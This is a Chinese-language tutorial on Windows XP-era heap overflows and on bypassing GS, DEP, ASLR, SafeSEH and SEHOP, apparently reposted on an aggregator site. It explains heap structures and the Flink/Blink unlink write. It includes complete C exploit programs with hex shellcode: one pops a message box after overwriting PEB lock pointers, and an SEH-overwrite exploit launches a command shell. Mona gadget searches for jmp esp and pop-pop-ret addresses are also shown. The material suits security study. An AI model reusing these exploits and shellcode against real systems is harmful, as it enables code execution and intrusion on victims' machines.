溢出科普:heap overflow溢出保护和绕过
pr0mise · 2016/04/11 9:50
0x00 第一部分:heap overflow
接上文,來看另外一種溢出方式:堆溢出.相對于棧溢出來說,稍微麻煩一點
本文算是一個筆記,技術有限,難免有紕漏之處,歡迎諸君斧正.
0x01 基礎知識
一.堆的結構
堆為程序運行時主動申請的內存,通常稱為堆區,操作堆的api從UserMode來看有:
例如malloc申請一塊內存會先調用HeapCreate()為自己創建一塊堆區.
堆區由不同大小的堆塊組成,由堆表來索引所有堆塊.
堆塊由塊首和塊身構成,塊首占8字節,由塊大小和塊計算單位和是否占用等信息,塊身緊跟在塊首,在提到一個塊大小的時候,要加上塊首大小.如請求分配32字節,實際會分配40字節.我們來看一下堆塊的結構:
#!bash 0:000> dt _HEAP_ENTRYntdll!_HEAP_ENTRY +0x000 Size : Uint2B // 堆塊的大小(以堆粒度為單位, 含塊首) +0x002 PreviousSize : Uint2B // 前一堆塊的大小 +0x000 SubSegmentCode : Ptr32 Void +0x004 SmallTagIndex : UChar +0x005 Flags : UChar // 表示堆塊的狀態 Flags: 0x01 堆塊正在被程序或者堆管理器使用 0x04 堆塊使用了填充模式(File Pattern) 0x08 堆塊是直接從虛擬內存管理器中分配而來的 0x10 堆塊是未提交范圍之前的最后一個堆塊 +0x006 UnusedBytes : UChar // 堆塊中未被用戶使用的字節數(含塊首) +0x007 SegmentIndex : UChar // 代表的堆塊狀態 復制代碼堆表分為空表和快表,索引所有空閑態堆塊,空表是一個雙向鏈表,索引的每一個堆塊有前向指針(flink)和后向指針(blink),每個指針占四字節,在空閑態時兩個指針存放在塊身,占用態時塊身將全部用來存放數據.
占用態塊身:
二:堆表的結構
空表(freelist)和快表(lookaside)都有128條記錄,空表又有零號空表和普通空表之說.
零號空表(freelist[0])索引所有大于1024字節的堆塊,升序排列.普通空表(freelist1)索引大小為8的堆塊,freelist2索引16字節,依次遞增.直到freelist[127]索引大小為1016字節的堆塊.
快表為單向鏈表,索引的堆塊均有占用態標記,不會發生堆塊合并,每條記錄只有4個節點,優先分配優先鏈入.
三:堆塊操作
1.堆塊分配和釋放
假如有如下指令:
#!c ... HLOACL test; HANDLE hp; hp =HeapCreate(0,0x1000,0x100000); test=HeapAlloc(hp,HEAP_ZERO_MEMORY,16); ... 復制代碼HeapAlloc請求分配16字節,加上塊首8字節,實際則為24字節,除以8,定位到要分配的記錄.如freelist3.
假如24字節大小的堆塊不存在于堆表記錄索引中,會從大于24字節的記錄里找到最小的一條記錄分配,假如從freelist5分配(40字節),會劃分出24字節返回給程序使用,該堆塊塊首設置為占用態,另外的16字節裝載到相應的空閑鏈表,并重新分配塊首.
如圖,A節點拆卸后,會在Blink指向的地址處寫入Flink,假如我們能控制這兩個指針的值,就獲得了一次任意地址寫入4字節的機會.
2.堆塊合并
空閑并相鄰的堆塊會進行合并,避免內存碎片.
(1)釋放一個堆塊后,堆管理器會檢查相鄰堆塊是否空閑
(2)假如空閑就合并成一個大堆塊
(3)將大堆塊設為空閑態
(4)更新空閑列表
0x02 堆調試
code:
#!c //build:VC++6.0 //os:windows xp sp3 //download: ed2k://|file|ZRMPSEL_CN.iso|402690048|00D1BDA0F057EDB8DA0B29CF5E188788|/ #include <windows.h> int main(){char shellcode[]="\x90";HLOCAL h1=0,h2=0;HANDLE hp;hp=HeapCreate(0,0x8000,0x10000);__asm int 3h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,200);//memcpy(h1,shellcode,0x200);h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);HeapFree(hp,0,h1);HeapFree(hp,0,h2);return 0; } 復制代碼如上代碼,假如注釋掉__asm int 3直接載入調試器,堆管理器會檢測到處于調試狀態,而是用調試態的堆管理策略,我們這里用int 3中斷,int 3執行會觸發一個異常,程序暫停,在這之前已經創建了堆區,分配了堆塊,這時我們用調試器attach進程,就可以看到真實的堆了.
windbg、Immunity Debugger執行!peb都可以看到堆的結構.或者用ollydbg單擊M按鈕.
HeapCreate創建大小為0x8000的堆
windbg !heap -stat
#!bash 0:001> !heap -stat _HEAP 003c0000Segments 00000001Reserved bytes 00010000Committed bytes 00008000VirtAllocBlocks 00000000VirtAlloc bytes 00000000 _HEAP 003a0000Segments 00000001Reserved bytes 00010000Committed bytes 00008000VirtAllocBlocks 00000000VirtAlloc bytes 00000000 _HEAP 00240000Segments 00000001Reserved bytes 00010000Committed bytes 00006000VirtAllocBlocks 00000000VirtAlloc bytes 00000000 _HEAP 00140000Segments 00000001Reserved bytes 00100000Committed bytes 00006000VirtAllocBlocks 00000000VirtAlloc bytes 00000000 _HEAP 00250000Segments 00000001Reserved bytes 00010000Committed bytes 00003000VirtAllocBlocks 00000000VirtAlloc bytes 00000000 _HEAP 00380000Segments 00000001Reserved bytes 00010000Committed bytes 00002000VirtAllocBlocks 00000000VirtAlloc bytes 00000000 復制代碼查看003c0000堆區的信息
#!bash 0:001> !heap -h 003c0000 Index Address Name Debugging options enabled6: 003c0000 Segment at 003c0000 to 003d0000 (00008000 bytes committed)Flags: 00001002ForceFlags: 00000000Granularity: 8 bytesSegment Reserve: 00100000Segment Commit: 00002000DeCommit Block Thres: 00000200DeCommit Total Thres: 00002000Total Free Size: 00000c2fMax. Allocation Size: 7ffdefffLock Variable at: 003c0608Next TagIndex: 0000Maximum TagIndex: 0000Tag Entries: 00000000PsuedoTag Entries: 00000000Virtual Alloc List: 003c0050UCR FreeList: 003c0598FreeList Usage: 00000000 00000000 00000000 00000000FreeList[ 00 ] at 003c0178: 003c1e90 . 003c1e90 (1 block )Heap entries for Segment00 in Heap 003c0000003c0640: 00640 . 00040 [01] - busy (40)003c0680: 00040 . 01808 [01] - busy (1800)003c1e88: 01808 . 06178 [10]003c8000: 00008000 - uncommitted bytes. 復制代碼看到freelist[0]指向003c0178
除了freelist[0]之外,所有的索引都指向自身,代表當前空閑鏈表為空.
003c0178指向尾塊003c1e90
當完全覆蓋掉當前緩沖區到時候,就會溢出到相鄰的堆塊,覆蓋相鄰堆塊的塊首和Flink、Blink
精心構造Flink 和Blink即可實現控制程序執行流程、代碼執行等目的
有興趣的話可以用跟蹤一下,觀察堆塊分配時堆表的變化.
0x03 溢出實例
覆蓋Flink Blink程序再次申請堆塊時觸發異常,調用所有異常處理函數,假如無法處理,系統調用默認的異常處理,彈出錯誤對話框,調用ExitProcess().
ExitProcess有同步線程的動作,這個動作由RtlEnterCriticalSection()和RtlLeaveCriticalSection()來完成.這兩個函數我們稱為臨界區函數.跟信號量和鎖類似,臨界區是一種輕量級機制,在某一時間內,只能由一個線程來執行某個代碼段.
調用這兩個臨界區函數會先從PEB的0x20、0x24偏移處尋找函數指針.我們現在需要做的就是覆蓋這兩個位置的指針.
在windbg中執行!peb即可看到peb的位置.
#!cpp 0:000> !peb PEB at 7ffdf000InheritedAddressSpace: NoReadImageFileExecOptions: NoBeingDebugged: YesImageBaseAddress: 00400000Ldr 00241e90Ldr.Initialized: YesLdr.InInitializationOrderModuleList: 00241f28 . 00241fd0Ldr.InLoadOrderModuleList: 00241ec0 . 00241fc0Ldr.InMemoryOrderModuleList: 00241ec8 . 00241fc8 ---------------------- typedef struct _PEB {UCHAR InheritedAddressSpace; // 00hUCHAR ReadImageFileExecOptions; // 01hUCHAR BeingDebugged; // 02hUCHAR Spare; // 03hPVOID Mutant; // 04hPVOID ImageBaseAddress; // 08hPPEB_LDR_DATA Ldr; // 0ChPRTL_USER_PROCESS_PARAMETERS ProcessParameters; // 10hPVOID SubSystemData; // 14hPVOID ProcessHeap; // 18hPVOID FastPebLock; // 1ChPPEBLOCKROUTINE FastPebLockRoutine; // 20hPPEBLOCKROUTINE FastPebUnlockRoutine; // 24h } PEB, *PPEB; 復制代碼Peb->FastPebLockRoutine指針的內容為RtlEnterCriticalSection函數的地址,Peb->FastPebUnlockRoutine為RtlLeaveCriticalSection()地址,既0x20偏移、0x24偏移.
ps:在xp sp1之前,PEB的位置是固定的,sp2基址浮動,2003沒有FastPebLockRoutine和FastPebUnlockRoutine.
因為shellcode也會調用ExitProcess,所以會shellcode會反復執行,應該在shellcode的頭部恢復覆蓋掉的值.
0day書中的代碼:
#!c #include <windows.h> char shellcode[]= "\x90\x90\x90\x90\x90" // nop "\x90\x90\x90\x90\x90" // nop// repaire the pointer which shooted by heap shooting "\xb8\x20\xf0\xfd\x7f" // mov eax,7ffdf020 "\xbb\x03\x91\xf8\x77" // mov ebx,77F89103 this addr may related to OS patch version "\x89\x18" // mov dword ptr ds:[eax],ebx// 168 bytes popwindow shellcode "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75" "\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE" "\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03" "\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53" "\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8" "\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90" "\x16\x01\x1A\x00\x00\x10\x00\x00" // 塊首的8字節 "\x88\x06\x52\x00\x20\xf0\xfd\x7f"; // Flink+Blink,Blink為0x7ffdf020,Flink為00520688int main() {HLOCAL h1=0,h2=0;HANDLE hp=HeapCreate(0,0x1000,0x10000);//print_shellcode();return 0;h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);memcpy(h1,shellcode,0x200);//_asm int 3;h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,8);return 0; } 復制代碼Flink的值需要在調試時確定,指向shellcode起始位置
0x04 第二部分:溢出保護和繞過
我們常說的溢出,就是要覆蓋緩沖區,現代的操作系統針和編譯器對此種攻擊做出了很多的防御措施.
第一層是編譯器層面,例如gcc的stack protector,vc的gs,第二層是操作系統層面的DEP,aslr,safeseh,sehop等.
所謂知己知彼百戰不殆.下文詳情
0x05 編譯器層面
gcc在編譯時會自動插入一個隨機的cookie,也叫做金絲雀值(歷史上用金絲雀來檢查煤礦中是否有有毒氣體),保存在ebp-8字節的位置,函數每次調用完成將返回地址交給eip的之前會檢查cookie是否被改寫,假如被改寫就觸發異常,程序停止執行.
看代碼:
#!bash push ebp mov esp,ebp push ebx sub esp,xxx;插入cookie mov eax,gs:[20] mov [ebp-8],eax xorl eax,eax ;插入完畢;execute some code.... ;恢復ebx和ebp和ret之前的動作: mov eax,[ebp-8] xor eax,gs:[20] je true:call stack_check_fail ;假如cookie被覆蓋,xor后為1,沒進入if,調用stack_check_fail觸發異常true: add esp,20 pop ebx pop ebp ret 復制代碼如圖:
vs的gs選項一樣的原理.
#!bash sub esp,24h mov eax,dword ptr [___security_cookie (408040h)] xor eax,dword ptr [esp+24h] mov dword ptr [esp+20h],eax ... mov ecx,dword ptr [esp+20h] xor ecx,dword ptr [esp+24h] add esp,24h jmp __security_check_cookie (4010B2h) 復制代碼觸發異常后,假如程序安裝的異常例程沒有成功處理就會交由系統默認異常處理,然后調用ExitProcess.針對此種方式,我們可以覆蓋異常處理例程(seh handle)來達到控制程序執行流程的目的.稍后再說SEH的知識
0x06 DEP
數據執行保護(Data Execution Prevention)是一套軟硬件技術,在內存上嚴格將代碼和數據進行區分,防止數據當做代碼執行.
從sp2開始作為一項安全機制引入,延續到2003、2008、win7.
DEP會將值包含內存數據的區域標記為NX(不可執行),當我們控制程序執行流程跳到shellcode時,觸發異常.
可以shellcode地址寫第三方dll的導出函數.例如system啟動shell.
當然了,ROP也是可以繞過dep的,以后寫.
0x07 ASLR
ASLR(Address space layout randomization)地址空間布局隨機化,在vista之后的系統實現.
將堆地址 棧基址 PE文件基址 PEB地址隨機,shellcode的起始地址無法固定
1.用第三方為經過aslr的dll
這種方法也適用于繞過safeseh,immunity debugger命令行執行!mona jmp -r esp -cm aslr,safeseh
#!bash ---------- Mona command started on 2016-03-22 12:13:34 (v2.0, rev 427) ---------- 0BADF00D [+] Processing arguments and criteria 0BADF00D - Pointer access level : X 0BADF00D - Module criteria : ['aslr'] 0BADF00D [+] Generating module info table, hang on... 0BADF00D - Processing modules 0BADF00D - Done. Let's rock 'n roll. 0BADF00D [+] Querying 3 modules 0BADF00D - Querying module ntdll.dll 0BADF00D - Querying module kernel32.dll 0BADF00D - Querying module test.exe 0BADF00D - Search complete, processing results 0BADF00D [+] Preparing output file 'jmp.txt' 0BADF00D - (Re)setting logfile jmp.txt 0BADF00D [+] Writing results to jmp.txt 0BADF00D - Number of pointers of type 'jmp esp' : 1 0BADF00D - Number of pointers of type 'call esp' : 4 0BADF00D - Number of pointers of type 'push esp # ret ' : 1 0BADF00D [+] Results : 7C86467B 0x7c86467b : jmp esp | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\kernel32.dll) 7C934663 0x7c934663 : call esp | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ntdll.dll) 7C97311B 0x7c97311b : call esp | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ntdll.dll) 7C8369F0 0x7c8369f0 : call esp | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\kernel32.dll) 7C868667 0x7c868667 : call esp | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\kernel32.dll) 7C939DB0 0x7c939db0 : push esp # ret | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\ntdll.dll) 0BADF00D Found a total of 6 pointers 0BADF00D[+] This mona.py action took 0:00:01.515000 00400000 Unload C:\Documents and Settings\Administrator\桌面\test.exe 7C800000 Unload C:\WINDOWS\system32\kernel32.dll 7C920000 Unload C:\WINDOWS\system32\ntdll.dllProcess terminated End of session 復制代碼2.利用aslr的特性:
aslr只對高位地址隨機,例如0x12345678,每次重啟 低地址5678是不變的,只有高地址1234會隨機為別的數值,在小端機中,低位地址在內存低位,高位地址在內存高位,也就是說,在0x1234xxxx范圍之內,找到我們需要的指令,例如jmp esp 0xffe4就可以實現eip跳到緩沖區的目的.
在不溢出緩沖區就能放下shellcode的情況下,我們將數據覆蓋到返回地址的低位地址就可以了.
0x08 對seh的保護 safeseh、sehop
.net的sdeseh選項會將所有的異常處理例程解析成單向鏈表,在程序觸發異常時,會將當前例程在異常鏈表中尋找,假如尋找不到就不觸發當前例程. sehop(Structured Exception Handler Overwrite Protection結構化異常處理覆蓋保護),在vista sp1之后出現,用來檢測seh鏈表的完整性,觸發異常時,假如seh鏈表的最后一個異常處理函數非默認,說明seh遭到破壞,sehop就會阻止當前的seh handle執行.
繞過方法在seh基礎知識后面寫.
0x09 異常處理機制
異常處理流程:
SEH結構化異常處理(structured exception handling)是當異常觸發時將控制權交給程序自主處理而實現的一種架構,存儲在棧中,在代碼內使用__try{}、__except{}時,會向當前函數棧幀安裝一個異常處理例程,所有的異常處理例程會構成一張單向鏈表,在Immunity Debugger中 view->seh chain可以查看所有seh
或者windbg
#!bash 0:001> !exchain 003bffe4: ntdll!_except_handler3+0 (7c92e900)CRT scope 0, filter: ntdll!DbgUiRemoteBreakin+2f (7c970017)func: ntdll!DbgUiRemoteBreakin+33 (7c970020) Invalid exception stack at ffffffff 復制代碼seh結構如下:
#!bash _EXCEPTION_REGISTRATION?struc???prev?dd??????????//前一個_EXCEPTION_REGISTRATION結構? nseh(next seh),有人也叫他provioushandler?dd???????//異常處理例程入口? seh handle 復制代碼段寄存器fs[0]指向棧頂之后的第一個異常處理例程,觸發異常時(如除0操作,錯誤的內存訪問等)首先調用第一個異常處理函數(seh handle),假如無法處理,依次嘗試調用其他seh handle,見異常處理流程的第5、6步.
SEH鏈表圖:
可以看到,在溢出發生時,esp指向數據區,上溢4個字節是nseh,再上溢4個字節就是seh handle,假如我們尋找一個pop pop ret類的指令地址,執行到ret后,eip就會跳到seh handle上,所以這時候nseh可以設為90909090,或者是一個跳過4字節的指令.在nseh和seh handle后布置shellcode.
0x0A 繞過gs、safeseh
#!c #include "stdio.h" #include "windows.h" void GetInput(char* str, char* out) {char buffer[500];try{strcpy(buffer,str);strcpy(out,buffer);printf("Input received : %s\n",buffer);}catch (char * strErr){printf("No valid input received ! \n");printf("Exception : %s\n",strErr);} } int main() {char buf2[10];char shellcode[]="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA""AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA""AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA""AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";GetInput(shellcode,buf2);return 0; } 復制代碼
char buffer[500]是為了開辟足夠大的空間
程序運行后
#!bash EAX 7EFEFEFE ECX 0012FC94 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" EDX 41414141 EBX 7FFD6000 ESP 0012FBA4 EBP 0012FE08 ESI 004261A9 aaaa.004261A9 EDI 00130000 ASCII "Actx " EIP 004013D1 aaaa.004013D1 C 0 ES 0023 32bit 0(FFFFFFFF) P 1 CS 001B 32bit 0(FFFFFFFF) A 0 SS 0023 32bit 0(FFFFFFFF) Z 1 DS 0023 32bit 0(FFFFFFFF) S 0 FS 003B 32bit 7FFDF000(FFF) T 0 GS 0000 NULL D 0 O 0 LastErr ERROR_SUCCESS (00000000) EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)----------------------------------------------SEH chain of main thread Address SE handler 0012FDFC aaaa.004134A0 0012FFB0 41414141 41414141 *** CORRUPT ENTRY *** 復制代碼可以看到seh已經被覆蓋,用mona插件計算從緩沖區到seh的距離.
!mona pattern_create 300 生成長度為300的隨機字符串,替換為shellcode,再溢出一次,執行!mona findmsp
計算出溢出長度為60字節,并列出所有加載的dll,并提示是否有safeSEH和aslr等.
根據前面的知識,構造的shellcode格式應為:buf +nseh +seh handle +shellcode
nseh 為90909090,seh handle為pop pop ret地址,buf為60長度的任意字節,ppt的地址也可以用mona來搜索,!mona seh
#!bash 0x0040ba77 : pop esi # pop edi # ret | startnull {PAGE_EXECUTE_READ} [aaaa.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\Administrator\桌面\aaaa\Debug\aaaa.exe) 0x0040bb1b : pop esi # pop edi # ret | startnull {PAGE_EXECUTE_READ} [aaaa.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\Administrator\桌面\aaaa\Debug\aaaa.exe) 0x00401616 : pop ebx # pop ebp # ret | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [aaaa.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\Administrator\桌面\aaaa\Debug\aaaa.exe) 0x0040176e : pop ebx # pop ebp # ret | startnull,asciiprint,ascii {PAGE_EXECUTE_READ} [aaaa.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\Administrator\桌面\aaaa\Debug\aaaa.exe) 0x0040ec4f : pop ebx # pop ebp # ret | startnull {PAGE_EXECUTE_READ} [aaaa.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\Administrator\桌面\aaaa\Debug\aaaa.exe) 0x004018ef : pop esi # pop ebx # ret | startnull {PAGE_EXECUTE_READ} [aaaa.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\Administrator\桌面\aaaa\Debug\aaaa.exe) 0x0040cf67 : pop ebx # pop edi # ret | startnull {PAGE_EXECUTE_READ} [aaaa.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\Administrator\桌面\aaaa\Debug\aaaa.exe) 0x0040cf6d : pop ebx # pop edi # ret | startnull {PAGE_EXECUTE_READ} [aaaa.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\Administrator\桌面\aaaa\Debug\aaaa.exe) 0x0040cedb : pop edi # pop ebx # ret | startnull {PAGE_EXECUTE_READ} [aaaa.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\Administrator\桌面\aaaa\Debug\aaaa.exe) 0x0040cee2 : pop edi # pop ebx # ret | startnull {PAGE_EXECUTE_READ} [aaaa.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\Administrator\桌面\aaaa\Debug\aaaa.exe) 0x0040cee9 : pop edi # pop ebx # ret | startnull {PAGE_EXECUTE_READ} [aaaa.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Documents and Settings\Administrator\桌面\aaaa\Debug\aaaa.exe) 復制代碼也可以用第一篇文章提到的工具,搜索kernel,或者直接用immunity debugger搜索
0x7c921931 小端機緣故,倒敘\x31\x19\x92\x7c
看最終代碼,在保證沒有DEP和safeSeh、safeop的情況下可順利運行.
#!c #include "stdio.h" #include "windows.h" void GetInput(char* str, char* out) {char buffer[500];try{strcpy(buffer,str);strcpy(out,buffer);printf("Input received : %s\n",buffer);}catch (char * strErr){printf("No valid input received ! \n");printf("Exception : %s\n",strErr);} } int main() {LoadLibrary("C:\\NppFTP.dll");char buf2[10];char shellcode[]="\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" "\x91\x91\x91\x91" //nseh "\x6A\x6A\x6A\x6A" //seh handle"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53" "\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6" "\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA" "\x77\x1d\x80\x7c" "\x52\x8D\x45\xF4\x50" "\xFF\x55\xF0" "\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E" "\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4" "\x50\xB8" "\xc7\x93\xbf\x77" "\xFF\xD0"; //shellcodeGetInput(shellcode,buf2);return 0; } 復制代碼在特定情況下,假如只有應用程序沒有啟用safeseh保護,但卻啟用了gs,我們依然可以繞過
前面說布置的緩沖區數據格式: buf + nseh + seh handle + shellcode,在程序內尋找一個ppt地址寫在seh handle位置,這個位置會包含00字符(基址0040xxxx),例子中用strcpy函數溢出遇到\x00會截斷,也就是說假如要用程序內的ppt地址,shellcode就得布置在seh handle之前,剛好可以利用當前緩沖區
布置如下: shellcode(60字節) + nseh + ppt. ppt會首先跳到nseh位置處的4字節指令,再確定緩沖區的起始位置, nseh4字節指令跳轉過去執行即可繞過safeseh.
0x0B 繞過sehop
像是拼人品的“沒有gs”、“有虛函數”等繞過方式暫且不提,sehop觸發異常之前,會檢測seh鏈,沒有sehop之前,我們通常是直接覆蓋nseh和handle
sehop檢測鏈表是否斷掉,最后一個節點handle是否指向ntdll!FinalExceptHandler,nseh是否指向0xffffffff,也就是說,將ntdll!FinalExceptHandler的地址和0xffffffff寫入到任意節點A,并保證前一個節點的nseh指向A的seh handle即可欺騙sehop
前面講過覆蓋的handle地址為ppt,ppt指向nseh的數據,這里就是4字節對齊的原因了,nseh既要指向下一個節點,又要能保證跳到前面的緩沖區
這里就是精髓了,4字節對齊,nseh的地址既作為指針又作為指令,跳轉到緩沖區數據又不能超過4字節.用je來跳,je會根據z標志位是否被設置來判斷是否滿足條件,指令運算為0設置z,即可將eip控制到緩沖區起始位置,尋找這樣的指令很容易,例如xor eax,eax,所以seh handle要為x p p t.
為防止handle的值也作為了指令執行,所以緩沖區內應該有跳過seh的指令,如圖:
既保證了seh鏈表的完整,又成功執行的shellcode.了解了具體結構 寫完整的shellcode就不是難事了:)
但此種方法只適應于未啟用aslr的情況,因為ntdll!FinalExceptHandler的高位地址隨機,seh的特性,在不破壞鏈表的情況下, 只能利用內存信息泄漏來確定ntdll!FinalExceptHandler的地址.
0x0C 參考文獻
- shellcoder編程揭秘
- 0day安全軟件漏洞分析技術
- 暗戰亮劍-軟件漏洞發掘與安全防范實戰
- 深入理解計算機系統
感謝四書作者的無私奉獻.
- 《oday2 軟件漏洞分析技術》
- 《shellcoder編程揭秘》
- 《exploit編寫教程》
- bbs.pediy.com/showthread.…
- dl.packetstormsecurity.net/papers/bypa…
- www.ffri.jp/assets/file…
筆記性質的文章,才疏學淺,如有紕漏歡迎指正
總結
以上是生活随笔為你收集整理的溢出科普:heap overflow溢出保护和绕过的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Apple Notification C
- 下一篇: 开源日志库Logger的使用秘籍